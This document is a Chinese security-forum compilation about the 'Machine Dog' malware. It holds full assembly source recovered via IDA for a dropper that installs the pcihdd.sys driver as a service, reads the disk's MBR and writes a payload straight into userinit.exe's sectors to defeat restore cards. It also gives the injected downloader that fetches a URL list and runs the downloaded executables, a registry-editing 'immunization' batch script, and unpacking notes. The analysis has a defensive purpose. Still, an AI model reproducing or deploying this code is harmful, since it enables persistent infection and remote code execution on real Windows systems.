:::直接复制系统system32下的无毒userinit.exe为FUCKIGM.exe
cd /d %SystemRoot%\system32
copy /y userinit.exe FUCKIGM.exe >nul
:::创建userinit.bat
echo @echo off >>userinit.bat
echo start FUCKIGM.exe >>userinit.bat
:::注册表操作
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
/v Userinit / t REG_SZ /d "C:\WINDOWS\system32\userinit.bat," /f >nul
:::删掉自身(提倡环保)
del /f /q %0
当然,如果实在不行,下载程序killigm。然后直接解压运行里面的程序:机器狗免疫补丁.bat 执行就可以了.
网上流传的另一种新的变种的防止方法 :
开始菜单运行.输入CMD
cd ……到drivers
md pcihdd.sys
cd pcihdd.sys
md 1...\
可防止最新变种。请注意:此法只能是防止,对于杀机器狗还得靠最新的杀毒程序才行。
针对该病毒,反病毒专家建议广大用户及时升级杀毒软件病毒库,补齐系统漏洞,上网时确保打开"网页监控"、"邮件监控"功能;禁用系统的自动播放功能,防止病毒从U盘、MP3、移动硬盘等移动存储设备进入到计算机;登录网游账号、网络银行账户时采用软键盘输入账号及密码

代码如下:

.386
.model flat,stdcall
option casemap:none

include windows.inc
include user32.inc
include kernel32.inc
include advapi32.inc
includelib advapi32.lib
includelib user32.lib
includelib kernel32.lib

.data
Text db '对不起,驱动程序的加载没有成功,程序将无法运行.',0
FileName db '\\.\PhysicalHardDisk0',0
a_Physicaldrive db '\\.\PhysicalDrive0',0
aFCJ db '分配内存不成功',0
OutputString db '操作成功', 0
Dst db 10Ch dup(0)
hModule dd 0
ERR1 db '寻址文件不成功',0
ERR2 db '不支持的磁盘分区',0
ERR3 db '第一个分区不是启动分区',0
ERR4 db '该文件是压缩文件,不能操作',0
ERR5 db '获取文件原始信息失败',0
ERR6 db '打开文件失败',0
ERR7 db '加载驱动失败',0

.code

Src db '%SystemRoot%\system32\drivers\pcihdd.sys',0
ServiceName db 'PciHdd',0

;**********************************************************************************************
;退出服务,并删除文件
;**********************************************************************************************
QuitService proc
LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL @FileName[100h]:byte

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFail
mov hSCManager, eax

push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OpenServiceFail
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService

push hSCObject ; hService
call DeleteService

push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFail: ; hSCObject
push hSCManager
call CloseServiceHandle

OpenSCManagerFail: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA

lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret
QuitService endp

;**********************************************************************************************
;从资源中加载二进制内容写入文件,并将文件写入环境变量,然后启动服务,最后去掉环境变量,删除文件
;**********************************************************************************************
LoadServiceFromRes proc

LOCAL ServiceStatus
LOCAL hSCObject
LOCAL hSCManager
LOCAL nNumberOfBytesToWrite
LOCAL lpBuffer
LOCAL hResInfo
LOCAL @FileName[110h]:byte
LOCAL hObject
LOCAL NumberOfBytesWritten

push 3E9h ; lpType
push 3E9h ; lpName
push hModule ; hModule
call FindResourceA
or eax, eax
jz failed

mov hResInfo, eax
push eax ; hResInfo
push hModule ; hModule
call SizeofResource
mov nNumberOfBytesToWrite, eax

push hResInfo ; hResInfo
push hModule ; hModule
call LoadResource
or eax, eax
jz failed

push eax ; hResData
call LockResource
or eax, eax
jz failed
mov lpBuffer, eax

failed:
or eax, eax
jnz CONTINUE
jmp Exit

CONTINUE: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA

push 0 ; hTemplateFile
push 80h ; dwFlagsAndAttributes
push 4 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 40000000h ; dwDesiredAccess
lea eax, @FileName
push eax ; lpFileName
call CreateFileA
cmp eax, 0FFFFFFFFh
jnz short CREATEFILEOK
jmp Exit

CREATEFILEOK:
mov hObject, eax
push 0 ; lpOverlapped
lea eax, NumberOfBytesWritten
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hObject ; hFile
call WriteFile

push hObject ; hFile
call SetEndOfFile

push hObject ; hFile
call FlushFileBuffers
push hObject ; hObject
call CloseHandle

push 0F003Fh ; dwDesiredAccess
push 0 ; lpDatabaseName
push 0 ; lpMachineName
call OpenSCManagerA
or eax, eax
jz OpenSCManagerFailed
mov hSCManager, eax

push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz CreateServiceFailed
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

CreateServiceFailed:
push 0F01FFh ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz short OpenServiceFailed
mov hSCObject, eax
lea eax, ServiceStatus
push eax ; lpServiceStatus
push 1 ; dwControl
push hSCObject ; hService
call ControlService
push hSCObject ; hService
call DeleteService
push hSCObject ; hSCObject
call CloseServiceHandle

OpenServiceFailed:
push 0 ; lpPassword
push 0 ; lpServiceStartName
push 0 ; lpDependencies
push 0 ; lpdwTagId
push 0 ; lpLoadOrderGroup
lea eax, @FileName
push eax ; lpBinaryPathName
push 0 ; dwErrorControl
push 3 ; dwStartType
push 1 ; dwServiceType
push 0 ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call CreateServiceA
or eax, eax
jz QUIT
mov hSCObject, eax
push hSCObject ; hSCObject
call CloseServiceHandle
jmp OPENSERVICE

QUIT:
jmp Exit

OPENSERVICE:
push 10h ; dwDesiredAccess
push offset ServiceName ; "PciHdd"
push hSCManager ; hSCManager
call OpenServiceA
or eax, eax
jz OPENSERVICEFAILED
mov hSCObject, eax
push 0 ; lpServiceArgVectors
push 0 ; dwNumServiceArgs
push hSCObject ; hService
call StartServiceA
or eax, eax
jnz StartServiceOK
jmp Exit

StartServiceOK: ; hSCObject
push hSCObject
call CloseServiceHandle
push hSCManager ; hSCObject
call CloseServiceHandle
jmp OpenSCManagerFailed

OPENSERVICEFAILED:
push hSCManager
call CloseServiceHandle
jmp Exit

OpenSCManagerFailed: ; nSize
push 100h
lea eax, @FileName
push eax ; lpDst
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
call ExpandEnvironmentStringsA
lea eax, @FileName
push eax ; lpFileName
call DeleteFileA
ret

Exit:
push 10h
push 0 ; lpCaption
push offset Text ; "出错"
push 0 ; hWnd
call MessageBoxA
push 0 ; uExitCode
call ExitProcess
LoadServiceFromRes endp

aSystemrootSyst db '%SystemRoot%\System32\Userinit.exe',0
;***************************************************************************************************************
;簇是磁盘使用的基本单元。 组成一个簇的扇区数总是2的幂数,当卷被格式化时此数值是固定的。 此数值称为簇要素,
;通常用字节引用,如8KB,2KB。 NTFS通过每件事的逻辑簇数来寻址。
;逻辑簇数(LCN):卷里的每个簇都给定了一个顺序号,这是它的逻辑簇数。LCN0(零)指向卷的第一个簇(引导扇区)。
; 用LCN乘以簇的大小就可以算出在卷里的物理偏移量。
;
;实际簇数(VCN):一个非常驻的流的每个簇都给定了一个顺序号,这是它的实际簇数。VCN0(零)指向这个流的第一个簇。
; 要定位磁盘上的流,就必须把VCN转换成LCN.这是在数据运转的帮助下完成的。
;
;数据运转:每个LCN的连续模块都被赋予了一个数据运转,它包含一个VCN,一个LCN和一个长度。
; 当NTFS需要在磁盘上找到一个对象时,就查看数据运转中的VCN来得到LCN。

;其他信息:
; 1)当卷被格式化时可以选择簇的大小。
; 2)一个卷的簇的大小存储在$Boot里。也定义了此值在一个MFT文件记录和一个索引记录的簇里。
; 3)如果扇区数在用,NTFS通过引用簇数可以寻址更大的磁盘。

;下面是一个关于允许和默认簇的大小的列表:

;Windows NT
; 512 bytes, 1KB, 2KB or 4KB
;Windows 2000, Windows XP
; 512 bytes, 1KB, 2KB, 4KB, 8KB, 16KB, 32KB or 64KB

;卷的大小 默认的簇的大小
;< 512MB Sector size
;< 1GB 1KB
;< 2GB 2KB
;> 2GB 4KB
;***************************************************************************************************************
DoMyWork proc lpFileName ;成功返回值为0

LOCAL lpBuffer
LOCAL nNumberOfBytesToWrite
LOCAL hDevice
LOCAL lDistanceToMove
LOCAL HighOffset
LOCAL dwLowPartofLcn
LOCAL dwHighPartofLcn
LOCAL StartSectorC
LOCAL hFile
LOCAL PhysicalBuff[512]:BYTE
LOCAL Buffer[512]:BYTE
LOCAL OutBuffer[272]:BYTE
LOCAL dwRet
LOCAL DistanceToMoveHigh:DWORD
LOCAL InBuffer[8]:BYTE
LOCAL hObject

pusha
push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 0 ; dwShareMode
push 80000000h ; dwDesiredAccess
push offset FileName ; "\\\\.\\PhysicalHardDisk0" 是pcihdd.sys创建的符号链接
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateFileFailed
mov hDevice, eax

push 0 ; hTemplateFile
push 20000000h ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 80000000h ; dwDesiredAccess
push lpFileName ; 打开userinit.exe
call CreateFileA
cmp eax, 0FFFFFFFFh
jz CreateUserInitFileFailed
mov hObject, eax

push 8
lea eax,InBuffer
push eax
call RtlZeroMemory

push 110h ;初始化
lea eax, OutBuffer
push eax
call RtlZeroMemory

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push 110h ; nOutBufferSize
lea eax, OutBuffer
push eax ; lpOutBuffer
push 8 ; nInBufferSize
lea eax, InBuffer
push eax ; lpInBuffer
push 90073h ; dwIoControlCode = FSCTL_GET_RETRIEVAL_POINTERS
push hObject ; hDevice
call DeviceIoControl ;通过FSCTL_GET_RETRIEVAL_POINTERS获取userinit文件数据的分布信息
or eax, eax
jz DeviceIoControlFailed

;这个结构是8字节对齐的,结构长度32字节
;typedef struct RETRIEVAL_POINTERS_BUFFER
;{
; DWORD ExtentCount;
; LARGE_INTEGER StartingVcn;
; struct
; {
; LARGE_INTEGER NextVcn;
; LARGE_INTEGER Lcn;
; } Extents[1];
;} RETRIEVAL_POINTERS_BUFFER, *PRETRIEVAL_POINTERS_BUFFER;

;typedef union union
;{
; struct
; {
; DWORD LowPart;
; LONG HighPart;
; };
; LONGLONG QuadPart;
;} LARGE_INTEGER, *PLARGE_INTEGER;

lea edi, OutBuffer ;OutBuffer是上面结构体指针
mov ebx, [edi] ;ExtentCount = Extents数组元素个数
lea edi, [edi+10h] ;指向Extents数组首地址,根据字节对齐
mov eax, DistanceToMoveHigh
or ebx, ebx ;判断ExtentCount是否为0
jz ExtentCountIsZero

mov eax, [edi+8] ;指向Extents[0].Lcn.LowPart
mov edx, [edi+0Ch] ;指向Extents[0].Lcn.HighPart
cmp eax, 0FFFFFFFFh
jz FEIHUA
cmp edx, 0FFFFFFFFh
jz FEIHUA

mov dwLowPartofLcn, eax ;保存lcn低32位
mov dwHighPartofLcn, edx ;保存lcn高32位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, Buffer
push eax ; lpBuffer
push hObject ; hFile
call ReadFile ;读取userinit文件开头512字节

push hObject ; hObject
call CloseHandle
mov hObject, 0 ;关闭文件

push 0 ; hTemplateFile
push 0 ; dwFlagsAndAttributes
push 3 ; dwCreationDisposition
push 0 ; lpSecurityAttributes
push 3 ; dwShareMode
push 0C0000000h ; dwDesiredAccess
push offset a_Physicaldrive ; "\\\\.\\PhysicalDrive0"
call CreateFileA ;打开物理硬盘读写
cmp eax, 0FFFFFFFFh
jz OPENPHYSICSFAILED
mov hFile, eax

push 0 ; dwMoveMethod
push 0 ; lpDistanceToMoveHigh
push 0 ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ; 定位

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读取硬盘主引导分区MBR
;
; 0000 |------------------------------------------------|
; | |
; | |
; | Master Boot Record |
; | |
; | |
; | 主引导记录(446字节) |
; | |
; | |
; | |
; 01BD | |
; 01BE |------------------------------------------------|
; | |
; 01CD | 分区信息 1(16字节) |
; 01CE |------------------------------------------------|
; | |
; 01DD | 分区信息 2(16字节) |
; 01DE |------------------------------------------------|
; | |
; 01ED | 分区信息 3(16字节) |
; 01EE |------------------------------------------------|
; | |
; 01FD | 分区信息 4(16字节) |
; |------------------------------------------------|
; | 01FE | 01FF |
; | 55 | AA |
; |------------------------------------------------|
;分区表
;
; 分区表是一个链表,主分区表是分区链表的第一个节点。由于主分区表中只能分四个分区, 无法满足需求,
因此设计了一种扩展分区格式。扩展分区就是分区表的第二个节点到最后一个节点。
;
; 主分区表是从主引导扇区第0x1BE字节开始的,共64个字节,最后是0x55AA。64个字节的分区信息分为四组,每16字节为一组。每组的数据结构是这样的:
;
;typedef struct
;{
; BYTE byState;//分区状态, 0 = 未激活, 0x80 = 激活
; BYTE byBeginHead;//分区起始磁头号
; WORD wBeginSC;//分区起始扇区和柱面号, 底字节的低6位为扇区号, 高2位为柱面号的第 9,10 位, 高字节为柱面号的低 8 位
; BYTE byFSID; //分区类型, 如 0x0B = FAT32, 0x83 = Linux 等, 00 表示此项未用
; BYTE byEndHead;//分区结束磁头号
; WORD wEndSC;//分区结束扇区和柱面号
; DWORD dwInfoAreaSectors;//在线性寻址方式下的分区相对扇区地址
; DWORD dwSectors;//分区大小 (总扇区数)
;} INFOAREA_PARAM;//磁盘的分区信息

lea edi, PhysicalBuff
cmp byte ptr [edi+1BEh], 80h ;byState判断是否为活动分区
jnz NOTACTIVEDISK
movzx ebx, byte ptr [edi+1C2h] ;byFSID判断分区类型
cmp ebx, 0Bh
jz FAT32 ;Win95 FAT32
cmp ebx, 0Ch
jz FAT32 ;Win95 FAT32 LBA
cmp ebx, 7
jnz NTFS ;HPFS/NTFS

FAT32:
mov eax, [edi+1C6h] ;C盘起始扇区(首扇区的相对扇区号)
mov StartSectorC, eax
xor edx, edx
imul eax, 200h ;求出实际的字节偏移
mov DistanceToMoveHigh, edx
mov ecx, eax

push 0 ; dwMoveMethod
lea eax, DistanceToMoveHigh
push eax ; lpDistanceToMoveHigh
push ecx ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;定位到硬盘C盘起始扇区的绝对位置

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;读硬盘C盘起始扇区 即:第一个分区的引导扇区BPB

lea edi, PhysicalBuff
movzx eax, word ptr [edi+0Eh]; BPB_RsvdSecCnt = 保留扇区数量
add StartSectorC, eax
cmp ebx, 0Bh ;Win95 FAT32
jz WIN95FAT32
cmp ebx, 0Ch ;Win95 FAT32 LBA
jnz short FAT32LBA

WIN95FAT32:
movzx ecx, byte ptr [edi+10h]; BPB_NumFATS = 每个分区占用的FAT表 数
mov eax, [edi+24h] ; BPB_FATSz32 = 每个FAT占用扇区数
xor edx, edx
imul eax, ecx
add StartSectorC, eax ;数据记录起始扇区

FAT32LBA:
mov eax, dwLowPartofLcn
mov edx, dwHighPartofLcn
movzx ecx, byte ptr [edi+0Dh] ;BPB_SecPerClus = 每簇多少扇区
mov nNumberOfBytesToWrite, ecx
imul eax, ecx
add eax, StartSectorC
adc edx, 0
imul eax, 200h ;求出绝对偏移字节位置
mov HighOffset, edx ;偏移高32位
mov lDistanceToMove, eax ;低32位

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer

push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesRead
push 200h ; nNumberOfBytesToRead
lea eax, PhysicalBuff
push eax ; lpBuffer
push hFile ; hFile
call ReadFile ;在找到的硬盘扇区读

lea edi, PhysicalBuff
lea esi, Buffer
mov ecx, 200h
repe cmpsb ;通过对比ReadFile读取的文件数据和自己定位后直接读取所得到的文件数据,确定定位是否正确

or ecx, ecx
jnz DIFF

push 0 ; dwMoveMethod
lea eax, HighOffset
push eax ; lpDistanceToMoveHigh
push lDistanceToMove ; lDistanceToMove
push hFile ; hFile
call SetFilePointer ;重新定位到上面找到的硬盘扇区处

mov eax, nNumberOfBytesToWrite
shl eax, 9 ;这个值是作者估算的
mov nNumberOfBytesToWrite, eax

push nNumberOfBytesToWrite ; dwBytes
push 40h ; uFlags
call GlobalAlloc
or eax, eax
jz ALLOCMEMORYFAILED
mov lpBuffer,eax

mov ecx, offset MessageBoxA
sub ecx, offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"

;把整个代码体作为参数传递给pcihdd.sys,控制码0xF0003C04,
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpBytesReturned
push nNumberOfBytesToWrite ; nOutBufferSize
push lpBuffer ; lpOutBuffer
push ecx ; nInBufferSize
push offset Src ; "%SystemRoot%\\system32\\drivers\\pcihdd.sys"
push 0F0003C04h ; dwIoControlCode
push hDevice ; hDevice
call DeviceIoControl

;并将pcihdd返回的数据直接写入userinit.exe的第一簇
push 0 ; lpOverlapped
lea eax, DistanceToMoveHigh
push eax ; lpNumberOfBytesWritten
push nNumberOfBytesToWrite ; nNumberOfBytesToWrite
push lpBuffer ; lpBuffer
push hFile ; hFile
call WriteFile

push hFile ; hFile
call FlushFileBuffers
mov dwRet, 0
jmp OVER

ALLOCMEMORYFAILED:
; "分配内存不成功"
mov dwRet, offset aFCJ

OVER: ; hMem
push lpBuffer
call GlobalFree
jmp FINISHED

DIFF:
mov dwRet, offset ERR1
jmp FINISHED

NTFS:
mov dwRet, offset ERR2
jmp FINISHED

NOTACTIVEDISK:
mov dwRet, offset ERR3

FINISHED: ; hObject
push hFile
call CloseHandle
jmp OPENPHYSICSFAILED

FEIHUA:
mov dwRet, offset ERR4

OPENPHYSICSFAILED: ;打开硬盘设备失败
jmp ExtentCountIsZero

DeviceIoControlFailed:
mov dwRet, offset ERR5

ExtentCountIsZero:
cmp hObject, 0
jz ZeroObject
push hObject ; hObject
call CloseHandle
jmp ZeroObject

CreateUserInitFileFailed:
mov dwRet, offset ERR6

ZeroObject: ; hObject
push hDevice
call CloseHandle
jmp EXIT

CreateFileFailed:
mov dwRet, offset ERR7

EXIT:
popa
mov eax, dwRet
ret
DoMyWork endp

start proc
push 0 ; lpModuleName
call GetModuleHandleA
mov hModule, eax
call LoadServiceFromRes ;load service from resource

push 100h ; nSize
push offset Dst ; lpDst
push offset aSystemrootSyst ; "%SystemRoot%\\System32\\Userinit.exe"
call ExpandEnvironmentStringsA

push offset Dst ; lpFileName
call DoMyWork
or eax, eax
jnz FAILED
push offset OutputString ;
call OutputDebugStringA
jmp Exit

FAILED: ; lpOutputString
push eax
call OutputDebugStringA

Exit:
call QuitService
push 0 ; uExitCode
call ExitProcess
start endp

end start

文章作者:naitm
信息来源:邪恶八进制信息安全团队(www.eviloctal.com
文章备注:从IDA中复制,稍作修改所得。
ASM

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 机器狗写入到userinit.exe文件的恶意代码
; by naitm(http://hi.baidu.com/naitm)
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include Advapi32.inc
includelib Advapi32.lib
include wininet.inc
includelib wininet.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data
nThreadCount dd 0
g_ThreadCount dd 0
PathName db '.',0
szAgent db 'Shell',0
szUser32Dll db 'user32.dll',0
szLoadRemoteFonts db 'LoadRemoteFonts',0
szSubKey db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
szUrlList db 'http://127.0.0.1/cert.cer',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_RunIt proc @lpExePath

local @ProcessInformation:PROCESS_INFORMATION
local @StartupInfo:STARTUPINFO

invoke GetStartupInfo,addr @StartupInfo
invoke CreateProcess,0,@lpExePath,0,0,0,20h,0,0,addr @StartupInfo,addr
@ProcessInformation
.if eax == 0
invoke CloseHandle,@ProcessInformation.hThread
invoke CloseHandle,@ProcessInformation.hProcess
.endif

leave
retn 4
_RunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadFile proc @lpURL,@lpSaveFile,@Buffer

local @hInternet,@hInternetFile,@hLocalFile,@nNumberOfBytesToWrite,@NumberOfBytesWritten,@nWriteCount
local @lpbuffer[200h]:BYTE

xor eax, eax
mov @nWriteCount, eax
invoke InternetOpen,addr szAgent,0,0,0,0
.if eax != 0
mov @hInternet, eax
invoke InternetSetOption,@hInternet,2,@Buffer,4
invoke InternetSetOption,@hInternet,6,@Buffer,4
invoke InternetOpenUrl,@hInternet,@lpURL,0,0,200000h,0
.if eax != 0
mov @hInternetFile, eax
mov @nNumberOfBytesToWrite, 0
mov @NumberOfBytesWritten, 200h
invoke HttpQueryInfo,@hInternetFile,13h,addr @lpbuffer,\
addr @NumberOfBytesWritten,addr @nNumberOfBytesToWrite
.if eax != 0
invoke CreateFile,@lpSaveFile,40000000h,0,0,4,0,0
.if eax != 0FFFFFFFFh
mov @hLocalFile, eax
.while TRUE
mov @nNumberOfBytesToWrite, 0
invoke InternetReadFile,@hInternetFile,addr @lpbuffer,200h,addr
@nNumberOfBytesToWrite
.break .if (!eax)
.break .if (@nNumberOfBytesToWrite==0)
inc @nWriteCount
invoke WriteFile,@hLocalFile,addr @lpbuffer,@nNumberOfBytesToWrite,\
addr @NumberOfBytesWritten,0
.endw
invoke SetEndOfFile,@hLocalFile
invoke CloseHandle,@hLocalFile
.endif
.endif
invoke InternetCloseHandle,@hInternetFile
.endif
invoke InternetCloseHandle,@hInternet
.endif
mov eax, @nWriteCount
leave
retn 0Ch

_DownloadFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_DownloadEXERunIt proc @lpURL

local @DownTimes
local @TempFileName[204h]:BYTE
local @TempFileName2[204h]:BYTE
local @szUrl[104h]:BYTE

mov @DownTimes, 3Ch
invoke lstrcpy,addr @szUrl,@lpURL
invoke RtlZeroMemory,addr @TempFileName,204
invoke GetTempFileName,offset PathName,0,0,addr @TempFileName
invoke lstrcpy,addr @TempFileName2,addr @TempFileName

DownloadNxTime:
invoke _DownloadFile,addr @szUrl,addr @TempFileName,1388h
or eax, eax
jz DownloadFailed
invoke lstrcpy,addr @TempFileName,addr @TempFileName2
invoke _RunIt,addr @TempFileName
jmp DownloadEnd
; ---------------------------------------------------------------------------

DownloadFailed:
invoke Sleep,3E8h
dec @DownTimes
jnz DownloadNxTime

DownloadEnd:
dec nThreadCount
leave
retn 4
_DownloadEXERunIt endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
main proc

local hKey,hObject,hFile,lpBaseAddress,ThreadId
local szShellValue[104h]:BYTE

invoke LoadLibrary,offset szUser32Dll
or eax, eax
jz RegQueryShell
invoke GetProcAddress,eax,offset szLoadRemoteFonts
or eax, eax
jz RegQueryShell
call eax

RegQueryShell:

invoke RegOpenKeyEx,80000002h,offset szSubKey,0,20019h,addr hKey
or eax, eax
jnz TestInternet
mov ThreadId, 104h
invoke RtlZeroMemory,addr szShellValue,104h
invoke RegQueryValueEx,hKey,offset szAgent,0,0,addr szShellValue,addr ThreadId
invoke _RunIt,addr szShellValue
invoke RegCloseKey,hKey

TestInternet:

invoke Sleep,3E8h
invoke InternetGetConnectedState,addr ThreadId,0
or eax, eax
jnz InternetConnect_OK
jmp TestInternet
; ---------------------------------------------------------------------------

InternetConnect_OK:
invoke RtlZeroMemory,addr szShellValue,104h
invoke GetTempFileName,offset PathName,0,0,addr szShellValue

DownList:

invoke Sleep,3E8h
invoke _DownloadFile,offset szUrlList,addr szShellValue,1388h
or eax, eax
jz DownListFailed

mov nThreadCount, 0
invoke CreateFile,addr szShellValue,GENERIC_READ,0,0,3,0,0
cmp eax, INVALID_HANDLE_VALUE
jz ReaptDownList

mov hFile, eax
invoke GetFileSize,hFile,0
cmp eax, 0Fh
jnb BeginDownEXE
invoke CloseHandle,hFile
jmp DownList
; ---------------------------------------------------------------------------

BeginDownEXE:
invoke CreateFileMapping,hFile,0,2,0,0,0
or eax, eax
jz CreateMapFailed
mov hObject, eax
invoke MapViewOfFile,eax,4,0,0,0
or eax, eax
jz MapViewFailed

mov lpBaseAddress, eax
mov esi, eax

loc_4005E1:
lea edi, szShellValue
push 104h
push edi
call RtlZeroMemory

WetherNewLine:
lodsb
cmp al, 0Ah
jnz loc_4005F8
lodsb

loc_4005F8:
cmp al, 0Dh
jz loc_400605
stosb
or al, al
jz UrlListEnd
jmp WetherNewLine
; ---------------------------------------------------------------------------
jmp UrlListEnd
; ---------------------------------------------------------------------------

loc_400605:
cmp szShellValue, 0
jz NextLine
inc nThreadCount
invoke CreateThread,0,0,offset _DownloadEXERunIt,addr
szShellValue,0,addr ThreadId
invoke CloseHandle,eax
invoke Sleep,64h

NextLine:
jmp loc_4005E1
; ---------------------------------------------------------------------------

UrlListEnd:

invoke UnmapViewOfFile,lpBaseAddress

MapViewFailed:
invoke CloseHandle,hObject

CreateMapFailed:
invoke CloseHandle,hFile
jmp WetherTreadend
; ---------------------------------------------------------------------------

ReaptDownList:
jmp DownList
; ---------------------------------------------------------------------------
jmp WetherTreadend
; ---------------------------------------------------------------------------

DownListFailed:
jmp DownList
; ---------------------------------------------------------------------------

WetherTreadend:

cmp nThreadCount, 0
jz ExitProgram
invoke Sleep,64h
jmp WetherTreadend
; ---------------------------------------------------------------------------

ExitProgram:
invoke ExitProcess,0

main endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
end start
鬼仔注:文章末尾所添加的机器狗、IGM、写穿还原的工具(已可以被卡巴检测到是病毒)是在无敌小龙那里看到的,我加了个备用地址。

样本脱壳
OD加载样本explorer.exe,
对GetModuleHandleA下断,参数为NULL时即为入口点处对此函数的调用,
退出CALL之后可以得到入口为 004016ED。
重新加载样本,对004016ED下内存写入断点,中断后StepOver一步,然后在004016ED
下断点,F9运行到入口,DUMP。DUMP之后不关闭OD,让样本处于挂起状态,使用ImportREC修复DUMP
出来的文件的导入表。
修复之后DUMP出来的文件用OD加载出错,使用PEDITOR的rebuilder功能重建PE之后即可用OD加载,说明
脱壳基本成功,但资源部分仍有问题,无法用Reshacker查看

pcihdd.sys的提取
OD加载样本explorer.exe,设置有新模块加载时中断,F9运行
当ADVAPI32.DLL加载时,对CreateServiceA下断点,F9运行
当CreateServiceA中断时,即可提取出pcihdd.sys

pcihdd.sys基本流程如下
1)检查IDT的09(NPX Segment Overrun)和0E(Page Fault )处理程序的地址
如果09号中断处理程序存在,并且处理程序地址的高8位与0E处理程序高8位不同,则把
IDT中0E的高16位设为0。估计是检查0E是不是被HOOK了
我比较龌龊,看不懂这些操作的意思,这样不BSOD?请懂的兄弟跟帖告诉一声
2)通过搜索地址来查找自己的加载地址
查找驱动文件的资源中的1000/1000,并复制到一个全局缓冲区中
3)创建了\Device\PhysicalHardDisk0及其符号连接\DosDevices\PhysicalHardDisk0
